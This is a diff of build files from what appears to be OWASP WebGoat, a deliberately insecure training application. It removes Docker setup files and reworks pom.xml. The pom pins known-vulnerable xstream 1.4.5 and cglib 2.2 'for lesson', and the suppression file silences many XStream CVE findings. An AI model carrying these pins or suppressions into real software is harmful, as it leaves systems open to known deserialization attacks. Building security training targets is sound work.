+        <vulnerabilityName>CVE-2020-26259</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21341</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21342</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21343</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21344</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21345</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21346</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21347</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21348</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21349</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21350</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21351</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-43859</vulnerabilityName>
      </suppress>
-    <suppress base="true"><!-- webgoat-server -->
+     <suppress>
-        <cpe>cpe:/a:postgresql:postgresql</cpe>
+        <notes><![CDATA[
-        <cve>CVE-2018-10936</cve>
+        file name: spring-jcl-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
      </suppress>
 </suppressions>

docker/Dockerfile

@@ -1,29 +0,0 @@
-FROM openjdk:15.0.2-slim
-
-ARG webgoat_version=8.2.0-SNAPSHOT
-ENV webgoat_version_env=${webgoat_version}
-
-RUN apt-get update
-RUN useradd -ms /bin/bash webgoat
-RUN apt-get -y install apt-utils nginx
-
-USER webgoat
-
-COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf
-COPY --chown=webgoat index.html /usr/share/nginx/html/
-COPY --chown=webgoat target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
-COPY --chown=webgoat target/webwolf-${webgoat_version}.jar /home/webgoat/webwolf.jar
-COPY --chown=webgoat start.sh /home/webgoat
-
-EXPOSE 8080
-EXPOSE 9090
-
-ENV WEBGOAT_PORT 8080
-ENV WEBGOAT_SSLENABLED false
-
-ENV GOATURL https://127.0.0.1:$WEBGOAT_PORT
-ENV WOLFURL http://127.0.0.1:9090
-
-
-WORKDIR /home/webgoat
-ENTRYPOINT /bin/bash /home/webgoat/start.sh $webgoat_version_env

docker/Readme.md

@@ -1,13 +0,0 @@
-# Docker all-in-one image
-
-## Docker build
-
-```shell
-docker build --no-cache --build-arg webgoat_version=8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
-```
-	
-## Docker run
-
-```shell
-docker run -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest
-```

docker/index.html

@@ -1,43 +0,0 @@
-<!DOCTYPE html>
-<html>
-  <body>
-    <h1>OWASP WebGoat Training tools</h1>
-    <p>
-      Use the following links to access the WebGoat and WebWolf applications.
-      Register a user using WebGoat. The same user can access WebWolf.
-    </p>
-	
-	<h2>Use without special host name entries</h2>
-	
-	<table>
-	<tr>
-		<td>WebGoat URL</td>
-		<td><a href="http://127.0.0.1:8080/WebGoat" target="_blank">http://127.0.0.1:8080/WebGoat</a></td>
-	</tr>
-	<tr>
-		<td>WebWolf URL</td>
-		<td><a href="http://127.0.0.1:9090/WebWolf" target="_blank">http://127.0.0.1:9090/WebWolf</a></td>
-	</tr>
-	<table>
-	
-	<h2>Use with www.webgoat.local and www.webwolf.local</h2>
-	<p>
-      Add the following entries to your local <b><i>hosts</i></b> file on Windows (c:\Windows\System32\drivers\etc\hosts) or Linux (/etc/hosts)
-	  
-<pre>
-127.0.0.1 www.webgoat.local www.webwolf.local
-</pre>
-	Then use the following URL's:
-    </p>
-	<table>
-	<tr>
-		<td>WebGoat URL</td>
-		<td><a href="http://www.webgoat.local/WebGoat" target="_blank">http://www.webgoat.local/WebGoat</a></td>
-	</tr>
-	<tr>
-		<td>WebWolf URL</td>
-		<td><a href="http://www.webwolf.local/WebWolf" target="_blank">http://www.webwolf.local/WebWolf</a></td>
-	</tr>
-	<table>
-  </body>
-</html>

docker/nginx.conf

@@ -1,140 +0,0 @@
-error_log /tmp/error.log;
-pid /tmp/nginx.pid;
-
-worker_processes 1;
-
-events { worker_connections 1024; }
-
-http {
-
-	client_body_temp_path /tmp/client_body;
-	fastcgi_temp_path /tmp/fastcgi_temp;
-	proxy_temp_path /tmp/proxy_temp;
-	scgi_temp_path /tmp/scgi_temp;
-	uwsgi_temp_path /tmp/uwsgi_temp;
-
-    sendfile on;
-
-    upstream docker-webgoat {
-        server 127.0.0.1:8080;
-    }
-
-    upstream docker-webwolf {
-        server 127.0.0.1:9090;
-    }
-
-    proxy_set_header   Host $host;
-    proxy_set_header   X-Real-IP $remote_addr;
-    proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
-    proxy_set_header   X-Forwarded-Host $server_name;
-
-    server {
-        listen 8888;
-        server_name        www.webgoat.local;
-		
-		root /var/www;
- 
-		access_log /tmp/goataccess.log;
-		error_log /tmp/goaterror.log;
-
-        location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
-            access_log         off;
-            proxy_pass         http://docker-webgoat;
-            proxy_redirect     off;
-        }
-
-        location / {
-            root              /usr/share/nginx/html;
-            index             index.html;
-            add_header        Cache-Control no-cache;
-            expires           0;
-        }
-
-        location /WebGoat {
-            proxy_pass         http://docker-webgoat;
-            proxy_redirect     off;
-        }
-
-    }
-
-    server {
-        listen 8888;
-        server_name        www.webwolf.local;
-		
-		root /var/www;
- 
-		access_log /tmp/wolfaccess.log;
-		error_log /tmp/wolferror.log;
-
-        location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
-            proxy_pass         http://docker-webgoat;
-            proxy_redirect     off;
-        }
-
-        location /PasswordReset/reset/reset-password {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /files {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /tmpdir {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /webjars {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /css {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /login {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /images {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /mail {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /upload {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /js {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /landing {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /logout {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /WebWolf {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-    }
-}

docker/pom.xml

@@ -1,40 +0,0 @@
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-    <artifactId>webgoat-all-in-one-docker</artifactId>
-    <packaging>jar</packaging>
-    <parent>
-        <groupId>org.owasp.webgoat</groupId>
-        <artifactId>webgoat-parent</artifactId>
-        <version>8.2.0</version>
-    </parent>
-
-    <dependencies>
-       
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-            <groupId>org.apache.maven.plugins</groupId>
-            <artifactId>maven-antrun-plugin</artifactId>
-            <version>3.0.0</version>
-            <executions>
-                <execution>
-                    <phase>install</phase>
-                    <configuration>
-                        <target>
-                            <copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="target/webgoat-server-${project.version}.jar"/>
-							<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="target/webwolf-${project.version}.jar"/>
-                        </target>
-                    </configuration>
-                    <goals>
-                        <goal>run</goal>
-                    </goals>
-                </execution>
-            </executions>
-			</plugin>
-        </plugins>
-    </build>
-
-</project>

docker/start.sh

@@ -1,16 +0,0 @@
-#!/bin/bash
-
-cd /home/webgoat 
-service nginx start
-sleep 1
-echo "Starting WebGoat..."
-java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webgoat.jar --webgoat.build.version=$1 --server.address=0.0.0.0  > webgoat.log &
-
-sleep 10
-
-echo "Starting WebWolf..."
-java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log &
-
-echo "Browse to http://localhost" to get started >> webgoat.log
-
-tail -300f webgoat.log

docs/README.md

@@ -1,5 +1,5 @@
 # WebGoat landing page
 
-Old Github page which now redirects to OWASP website.
+Old GitHub page which now redirects to OWASP website.
 
 

mvn-debug

@@ -1,2 +1,2 @@
 export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
-mvn $@
+./mvnw $@

pom.xml

@@ -4,37 +4,30 @@
 
     <modelVersion>4.0.0</modelVersion>
     <groupId>org.owasp.webgoat</groupId>
-    <artifactId>webgoat-parent</artifactId>
+    <artifactId>webgoat</artifactId>
-    <packaging>pom</packaging>
+    <packaging>jar</packaging>
-    <version>8.2.0</version>
+    <version>8.2.3-SNAPSHOT</version>
-
-    <name>WebGoat Parent Pom</name>
-    <description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
-    <inceptionYear>2006</inceptionYear>
-    <url>https://github.com/WebGoat/WebGoat</url>
-
-    <prerequisites>
-        <maven>3.2.5</maven>
-    </prerequisites>
-
-    <organization>
-        <name>OWASP</name>
-        <url>https://github.com/WebGoat/WebGoat/</url>
-    </organization>
 
     <parent>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-parent</artifactId>
-        <version>2.4.3</version>
+        <version>2.7.1</version>
     </parent>
 
+    <name>WebGoat</name>
+    <description>WebGoat, a deliberately insecure Web Application</description>
+    <inceptionYear>2006</inceptionYear>
+    <url>https://github.com/WebGoat/WebGoat</url>
+    <organization>
+        <name>OWASP</name>
+        <url>https://github.com/WebGoat/WebGoat/</url>
+    </organization>
     <licenses>
         <license>
             <name>GNU General Public License, version 2</name>
             <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
         </license>
     </licenses>
-
     <developers>
         <developer>
             <id>mayhew64</id>
@@ -60,6 +53,11 @@
             <name>René Zubcevic</name>
             <email>rene.zubcevic@owasp.org</email>
         </developer>
+        <developer>
+            <id>aolle</id>
+            <name>Àngel Ollé Blázquez</name>
+            <email>angel@olleb.com</email>
+        </developer>
         <developer>
             <id>jwayman</id>
             <name>Jeff Wayman</name>
@@ -110,135 +108,239 @@
         <url>https://github.com/WebGoat/WebGoat/issues</url>
     </issueManagement>
 
-    <ciManagement>
-        <system>Travis CI</system>
-        <url>https://travis-ci.org/WebGoat/WebGoat</url>
-    </ciManagement>
-
     <properties>
         <!-- Use UTF-8 Encoding -->
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
         <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-        <maven.compiler.source>15</maven.compiler.source>
+        <maven.compiler.source>17</maven.compiler.source>
-        <maven.compiler.target>15</maven.compiler.target>
+        <maven.compiler.target>17</maven.compiler.target>
-
+        <java.version>17</java.version>
-        <!-- This build number will be ubdated by Travis-CI -->
+        <webgoat.port>8080</webgoat.port>
-        <build.number>build</build.number>
+        <webwolf.port>9090</webwolf.port>
 
         <!-- Shared properties with plugins and version numbers across submodules-->
-        <activation.version>1.1.1</activation.version>
+        <asciidoctorj.version>2.5.3</asciidoctorj.version>
+        <bootstrap.version>3.3.7</bootstrap.version>
+        <cglib.version>2.2</cglib.version> <!-- do not update necessary for lesson -->
+        <checkstyle.version>3.1.2</checkstyle.version>
         <commons-collections.version>3.2.1</commons-collections.version>
-        <commons-lang3.version>3.4</commons-lang3.version>
+        <commons-lang3.version>3.12.0</commons-lang3.version>
         <commons-io.version>2.6</commons-io.version>
+        <commons-text.version>1.9</commons-text.version>
         <guava.version>30.1-jre</guava.version>
-        <lombok.version>1.18.4</lombok.version>
+        <jjwt.version>0.9.1</jjwt.version>
+        <jose4j.version>0.7.6</jose4j.version>
+        <jsoup.version>1.14.3</jsoup.version>
+        <jquery.version>3.5.1</jquery.version>
         <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
         <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
         <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
         <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
         <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
-        <maven-surefire-plugin.version>3.0.0-M4</maven-surefire-plugin.version>
+        <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
-        <java.version>15</java.version>
+        <pmd.version>3.15.0</pmd.version>
+        <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
+        <webdriver.version>4.3.1</webdriver.version>
+        <wiremock.version>2.27.2</wiremock.version>
+        <xml-resolver.version>1.2</xml-resolver.version>
+        <xstream.version>1.4.5</xstream.version> <!-- do not update necessary for lesson -->
+        <zxcvbn.version>1.5.2</zxcvbn.version>
     </properties>
 
-    <modules>
+    <dependencyManagement>
-        <module>webgoat-container</module>
-        <module>webgoat-lessons</module>
-        <module>webgoat-server</module>
-        <module>webwolf</module>
-        <module>webgoat-integration-tests</module>
-		<module>docker</module><!-- copy required jars in preparation of docker all-in-one build -->
-    </modules>
-
         <dependencies>
+
             <dependency>
-			<groupId>org.springframework.boot</groupId>
+                <groupId>org.ow2.asm</groupId>
-			<artifactId>spring-boot-starter-validation</artifactId>
+                <artifactId>asm</artifactId>
-		</dependency>
+                <version>9.1</version>
-        <dependency>
-            <groupId>org.projectlombok</groupId>
-            <artifactId>lombok</artifactId>
-            <scope>provided</scope>
-            <optional>true</optional>
             </dependency>
+
             <dependency>
                 <groupId>org.apache.commons</groupId>
                 <artifactId>commons-exec</artifactId>
                 <version>1.3</version>
             </dependency>
             <dependency>
-            <groupId>javax.xml.bind</groupId>
+                <groupId>org.asciidoctor</groupId>
-            <artifactId>jaxb-api</artifactId>
+                <artifactId>asciidoctorj</artifactId>
+                <version>${asciidoctorj.version}</version>
+            </dependency>
+            <dependency>
+                <!-- jsoup HTML parser library @ https://jsoup.org/ -->
+                <groupId>org.jsoup</groupId>
+                <artifactId>jsoup</artifactId>
+                <version>${jsoup.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>com.nulab-inc</groupId>
+                <artifactId>zxcvbn</artifactId>
+                <version>${zxcvbn.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>com.thoughtworks.xstream</groupId>
+                <artifactId>xstream</artifactId>
+                <version>${xstream.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>cglib</groupId>
+                <artifactId>cglib-nodep</artifactId>
+                <version>${cglib.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>xml-resolver</groupId>
+                <artifactId>xml-resolver</artifactId>
+                <version>${xml-resolver.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>io.jsonwebtoken</groupId>
+                <artifactId>jjwt</artifactId>
+                <version>${jjwt.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>com.google.guava</groupId>
+                <artifactId>guava</artifactId>
+                <version>${guava.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>commons-io</groupId>
+                <artifactId>commons-io</artifactId>
+                <version>${commons-io.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.apache.commons</groupId>
+                <artifactId>commons-text</artifactId>
+                <version>${commons-text.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.bitbucket.b_c</groupId>
+                <artifactId>jose4j</artifactId>
+                <version>${jose4j.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.webjars</groupId>
+                <artifactId>bootstrap</artifactId>
+                <version>${bootstrap.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.webjars</groupId>
+                <artifactId>jquery</artifactId>
+                <version>${jquery.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>com.github.tomakehurst</groupId>
+                <artifactId>wiremock</artifactId>
+                <version>${wiremock.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>io.github.bonigarcia</groupId>
+                <artifactId>webdrivermanager</artifactId>
+                <version>${webdriver.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.apache.commons</groupId>
+                <artifactId>commons-compress</artifactId>
+                <version>1.21</version>
+            </dependency>
+            <dependency>
+                <groupId>org.jruby</groupId>
+                <artifactId>jruby</artifactId>
+                <version>9.3.6.0</version>
             </dependency>
         </dependencies>
+    </dependencyManagement>
 
+    <profiles>
+        <profile>
+            <id>local-server</id>
+        </profile>
+        <profile>
+            <id>start-server</id>
+            <activation>
+                <activeByDefault>true</activeByDefault>
+            </activation>
             <build>
                 <plugins>
                     <plugin>
                         <groupId>org.codehaus.mojo</groupId>
-                <artifactId>flatten-maven-plugin</artifactId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
-                <version>1.2.5</version>
-                <configuration>
-                </configuration>
                         <executions>
                             <execution>
-                        <id>flatten</id>
+                                <id>reserve-container-port</id>
-                        <phase>process-resources</phase>
                                 <goals>
-                            <goal>flatten</goal>
+                                    <goal>reserve-network-port</goal>
                                 </goals>
+                                <phase>process-resources</phase>
+                                <configuration>
+                                    <portNames>
+                                        <portName>webgoat.port</portName>
+                                        <portName>webwolf.port</portName>
+                                        <portName>jmxPort</portName>
+                                    </portNames>
+                                </configuration>
                             </execution>
                         </executions>
                     </plugin>
                     <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
+                        <groupId>com.bazaarvoice.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
+                        <artifactId>process-exec-maven-plugin</artifactId>
-                <version>${maven-compiler-plugin.version}</version>
+                        <version>0.9</version>
-                <configuration>
-                    <source>15</source>
-                    <target>15</target>
-                    <encoding>UTF-8</encoding>
-                </configuration>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-checkstyle-plugin</artifactId>
-                <version>3.1.2</version>
-                <configuration>
-                    <encoding>UTF-8</encoding>
-                    <consoleOutput>true</consoleOutput>
-                    <failsOnError>true</failsOnError>
-                    <configLocation>config/checkstyle/checkstyle.xml</configLocation>
-                    <suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
-                    <suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
-                </configuration>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-pmd-plugin</artifactId>
-                <version>3.14.0</version>
-                <configuration>
-                    <targetJdk>15</targetJdk>
-                    <failurePriority>1</failurePriority><!-- 5 means fail even on the lowest priority, 0 means never fail -->
-                    <rulesets>
-                        <!--suppress UnresolvedMavenProperty -->
-                        <ruleset>${maven.multiModuleProjectDirectory}/config/pmd/pmd-ruleset.xml</ruleset>
-                    </rulesets>
-                    <failOnViolation>true</failOnViolation>
-                    <printFailingErrors>true</printFailingErrors>
-                </configuration>
                         <executions>
                             <execution>
+                                <id>start-jar</id>
+                                <phase>pre-integration-test</phase>
                                 <goals>
-                            <goal>check</goal>
+                                    <goal>start</goal>
+                                </goals>
+                                <configuration>
+                                    <workingDir>${project.build.directory}</workingDir>
+                                    <arguments>
+                                        <argument>java</argument>
+                                        <argument>-jar</argument>
+                                        <argument>-Dlogging.pattern.console=</argument>
+                                        <argument>-Dspring.main.banner-mode=off</argument>
+                                        <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat
+                                        </argument>
+                                        <argument>-Dwebgoat.port=${webgoat.port}</argument>
+                                        <argument>-Dwebwolf.port=${webwolf.port}</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.lang=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.util=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.text=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.io=ALL-UNNAMED</argument>
+                                        <argument>--add-opens</argument>
+                                        <argument>java.base/java.util=ALL-UNNAMED</argument>
+                                        <argument>
+                                            ${project.build.directory}/webgoat-${project.version}.jar
+                                        </argument>
+                                    </arguments>
+                                    <waitForInterrupt>false</waitForInterrupt>
+                                    <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
+                                </configuration>
+                            </execution>
+                            <execution>
+                                <id>stop-jar-process</id>
+                                <phase>post-integration-test</phase>
+                                <goals>
+                                    <goal>stop-all</goal>
                                 </goals>
                             </execution>
                         </executions>
                     </plugin>
                 </plugins>
             </build>
-
+        </profile>
-    <profiles>
         <profile>
             <id>owasp</id>
             <activation>
@@ -249,11 +351,11 @@
                     <plugin>
                         <groupId>org.owasp</groupId>
                         <artifactId>dependency-check-maven</artifactId>
-                        <version>6.1.3</version>
+                        <version>6.5.1</version>
                         <configuration>
                             <failBuildOnCVSS>7</failBuildOnCVSS>
-                            <skipProvidedScope>true</skipProvidedScope>
+                            <skipProvidedScope>false</skipProvidedScope>
-                            <skipRuntimeScope>true</skipRuntimeScope>
+                            <skipRuntimeScope>false</skipRuntimeScope>
                             <suppressionFiles>
                                 <!--suppress UnresolvedMavenProperty -->
                                 <suppressionFile>
@@ -274,6 +376,290 @@
         </profile>
     </profiles>
 
+
+    <dependencies>
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-exec</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-validation</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.projectlombok</groupId>
+            <artifactId>lombok</artifactId>
+            <scope>provided</scope>
+            <optional>true</optional>
+        </dependency>
+        <dependency>
+            <groupId>javax.xml.bind</groupId>
+            <artifactId>jaxb-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-undertow</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-web</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.springframework.boot</groupId>
+                    <artifactId>spring-boot-starter-tomcat</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-actuator</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.flywaydb</groupId>
+            <artifactId>flyway-core</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.asciidoctor</groupId>
+            <artifactId>asciidoctorj</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-data-jpa</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-security</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-thymeleaf</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.thymeleaf.extras</groupId>
+            <artifactId>thymeleaf-extras-springsecurity5</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.hsqldb</groupId>
+            <artifactId>hsqldb</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.jsoup</groupId>
+            <artifactId>jsoup</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.nulab-inc</groupId>
+            <artifactId>zxcvbn</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.thoughtworks.xstream</groupId>
+            <artifactId>xstream</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>cglib</groupId>
+            <artifactId>cglib-nodep</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>xml-resolver</groupId>
+            <artifactId>xml-resolver</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>io.jsonwebtoken</groupId>
+            <artifactId>jjwt</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.google.guava</groupId>
+            <artifactId>guava</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-lang3</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.commons</groupId>
+            <artifactId>commons-text</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.bitbucket.b_c</groupId>
+            <artifactId>jose4j</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.webjars</groupId>
+            <artifactId>bootstrap</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.webjars</groupId>
+            <artifactId>jquery</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jaxb</groupId>
+            <artifactId>jaxb-runtime</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-test</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.security</groupId>
+            <artifactId>spring-security-test</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.github.tomakehurst</groupId>
+            <artifactId>wiremock</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.seleniumhq.selenium</groupId>
+            <artifactId>selenium-java</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>io.rest-assured</groupId>
+            <artifactId>rest-assured</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>io.github.bonigarcia</groupId>
+            <artifactId>webdrivermanager</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.springframework.boot</groupId>
+                <artifactId>spring-boot-maven-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <goals>
+                            <goal>repackage</goal>
+                        </goals>
+                    </execution>
+                </executions>
+                <configuration>
+                    <excludeDevtools>true</excludeDevtools>
+                    <executable>true</executable>
+                    <mainClass>org.owasp.webgoat.server.StartWebGoat</mainClass>
+                    <!-- See http://docs.spring.io/spring-boot/docs/current/reference/html/howto-build.html#howto-extract-specific-libraries-when-an-executable-jar-runs -->
+                    <requiresUnpack>
+                        <dependency>
+                            <groupId>org.asciidoctor</groupId>
+                            <artifactId>asciidoctorj</artifactId>
+                        </dependency>
+                    </requiresUnpack>
+                </configuration>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <id>add-integration-test-source-as-test-sources</id>
+                        <phase>generate-test-sources</phase>
+                        <goals>
+                            <goal>add-test-source</goal>
+                        </goals>
+                        <configuration>
+                            <sources>
+                                <source>src/it/java</source>
+                            </sources>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-failsafe-plugin</artifactId>
+                <configuration>
+                    <systemPropertyVariables>
+                        <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
+                    </systemPropertyVariables>
+                    <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
+                    <includes>**/*IntegrationTest.java</includes>
+                </configuration>
+                <executions>
+                    <execution>
+                        <id>integration-test</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                        </goals>
+                    </execution>
+                    <execution>
+                        <id>verify</id>
+                        <goals>
+                            <goal>verify</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <version>${maven-surefire-plugin.version}</version>
+                <configuration>
+                    <argLine>
+                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+                    </argLine>
+                    <excludes>
+                        <exclude>**/*IntegrationTest.java</exclude>
+                    </excludes>
+                </configuration>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-checkstyle-plugin</artifactId>
+                <version>${checkstyle.version}</version>
+                <configuration>
+                    <encoding>UTF-8</encoding>
+                    <consoleOutput>true</consoleOutput>
+                    <failsOnError>true</failsOnError>
+                    <configLocation>config/checkstyle/checkstyle.xml</configLocation>
+                    <suppressionsLocation>config/checkstyle/suppressions.xml</suppressionsLocation>
